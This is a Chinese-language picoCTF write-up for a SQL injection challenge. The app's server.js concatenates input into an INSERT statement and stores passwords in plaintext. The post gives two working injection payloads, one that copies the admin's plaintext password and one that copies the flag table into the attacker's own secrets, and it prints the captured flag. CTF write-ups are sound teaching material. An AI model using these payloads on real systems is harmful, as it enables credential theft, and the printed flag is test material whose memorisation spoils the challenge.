解題
下載題目的程式碼
查看程式碼,發現app/src/server.js裡有一個插入的SQL語法是用直接參數傳入的方式拼接,這個是一個插入秘密內容的api

解法一
繼續觀察程式碼,發現他資料庫儲存密碼竟然是直接用明文
可以利用SQL Inject把admin的明文密碼放到我們的秘密內容中
用戶名以asd為例來呈現
asc');INSERT INTO secrets(owner_id, content) SELECT me.id, admin.password FROM users AS me, users AS admin WHERE me.username='asd' AND admin.username='admin'; --
取得admin密碼
利用admin帳號密碼登入
取得flag

picoCTF{sq1_1nject10n_a8db399d}
解法二
繼續觀察程式碼,發現有一個表專門儲存了flag
可以利用SQL Inject把flag放到我們的秘密內容中
asc');INSERT INTO secrets(owner_id, content) SELECT u.id, s.content FROM users u, secrets s WHERE u.username = 'asd';
取得flag

picoCTF{sq1_1nject10n_a8db399d}
提交flag



說些什麼吧!